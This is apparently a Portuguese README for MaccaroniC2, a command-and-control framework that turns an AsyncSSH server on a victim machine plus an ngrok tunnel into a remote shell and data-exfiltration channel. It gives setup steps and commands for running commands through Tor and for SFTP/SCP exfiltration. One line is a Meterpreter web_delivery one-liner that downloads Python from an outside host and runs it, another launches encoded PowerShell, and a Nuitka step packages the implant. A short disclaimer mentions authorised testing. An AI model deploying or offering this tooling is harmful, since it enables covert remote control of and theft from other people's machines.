
Um framework de Comando & Controle de prova de conceito que utiliza a poderosa biblioteca Python AsyncSSH, que fornece uma implementação assíncrona de cliente e servidor do protocolo SSHv2 e usa o wrapper PyNgrok para integração com ngrok.

MaccaroniC2 é um prova de conceito framework de Comando e Controle que utiliza a poderosa biblioteca Python AsyncSSH, que fornece uma implementação assíncrona de cliente e servidor do protocolo SSHv2, e usa o wrapper PyNgrok para integração com ngrok. Esta ferramenta é inspirada para um cenário específico onde a vítima executa o servidor AsyncSSH e estabelece um túnel para o exterior, pronto para receber comandos do atacante.
O atacante utiliza a API oficial do Ngrok para obter o hostname e a porta do túnel para estabelecer uma conexão. Esta abordagem aproveita as capacidades abrangentes fornecidas pelo AsyncSSH, incluindo seu suporte integrado para SFTP e SCP, facilitando a exfiltração segura e eficiente de dados e muito mais.
Além disso, o atacante pode enviar e executar comandos do sistema usando um proxy SOCKS, aproveitando os benefícios oferecidos, por exemplo, usando TOR para aumentar o anonimato.
Execute python3 gen_rsa.py para gerar um par de chaves SSH. A chave id_rsa recém-gerada é usada pelo atacante para se conectar ao servidor em execução na máquina da vítima.
Edite o arquivo asyncssh_server.py e coloque o conteúdo do id_rsa.pub recém-gerado dentro da variável pub_key. O asyncssh_server.py fornece uma implementação do protocolo SSHv2 com recursos SFTP e SCP. Este é o script executado pela vítima.
Crie uma conta gratuita no site do Ngrok e anote o Token AUTH.
Adicione o token AUTH à variável token em asyncssh_server.py, isso precisa ser codificado dentro da função ngrok_tunnel().
Crie uma chave de API gratuita no site do Ngrok. Anote a string gerada.
Com async_commander.py você pode enviar qualquer comando para o servidor. Ele solicita automaticamente o domínio e a porta do túnel Ngrok ativado pela vítima usando a API oficial do Ngrok.
Observe também que o id_rsa precisa estar na mesma pasta do async_commander.py
Execute o servidor na máquina da vítima:
python3 asyncssh_server.py
A partir da máquina do atacante, envie um comando usando proxy socks:
python3 asyncssh_commander.py "ls -la" --proxy socks5://127.0.0.1:9050
Envie comando sem usar proxy:
python3 asyncssh_commander.py "whoami"
Evoque outro agente C2 (Powershell-Empire, Meterpreter, etc):
python3 asyncssh_commander.py "powershell.exe -e ABJe...dhYte"
Módulo web_delivery do Meterpreter
python3 asyncssh_commander.py "python3 -c \"import sys; import ssl; u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]], fromlist=('urlopen',)); r=u.urlopen('http://100.100.100.100:8080/YnrVekAsVF', context=ssl._create_unverified_context()); exec(r.read());\""
Obter lista de túneis ativos:
python3 get_endpoints.py
Gerar novos pares de chave RSA:
python3 gen_rsa.py
Usando SFTP e SCP - você não precisa de um nome de usuário válido, apenas o id_rsa correto
proxychains sftp -P NGROK_PORT -i id_rsa ddddd@NGROK_HOST
scp -i id_rsa -o ProxyCommand="nc -x localhost:9050 %h NGROK_PORT" source_file ddddd@NGROK_HOST:destination_path
sftp -P PORT -i id_rsa ddddd@NGROK_HOST
scp -i id_rsa -P PORT source_file ddddd@NGROK_HOST:destination_path
python -m pip install nuitka
python -m nuitka --standalone --onefile asyncssh_server.py
https://github.com/hacktivesec/MaccaroniC2/blob/main/weaponized_server.py
Para mais informações, consulte o artigo relacionado: https://blog.hacktivesecurity.com/index.php/2023/06/05/inside-the-mind-of-a-cyber-attacker-from-malware-creation-to-data-exfiltration-part-1/
AVISO: Esta ferramenta é destinada apenas para fins de teste e educacionais. Deve ser usada apenas em sistemas com autorização adequada. Qualquer uso não autorizado ou ilegal desta ferramenta é estritamente proibido. O criador desta ferramenta não se responsabiliza por qualquer uso indevido ou dano causado pelo seu uso. Certifique-se de cumprir as leis e regulamentos aplicáveis ao utilizar esta ferramenta. Além disso, é importante notar que o uso do Ngrok em conjunto com esta ferramenta pode resultar na violação dos termos de serviço ou políticas de certas plataformas. É aconselhável revisar e cumprir os termos de uso de qualquer plataforma ou serviço para evitar possíveis banimentos de contas ou interrupções.
Coloque a string da chave API na variável api_key dentro do arquivo async_commander.py. Isso nos permite recuperar automaticamente o domínio e a porta do Ngrok do túnel ativo durante a automação.
Execute o mesmo passo para o arquivo get_endpoints.py. Este script recupera várias informações úteis sobre túneis ativos.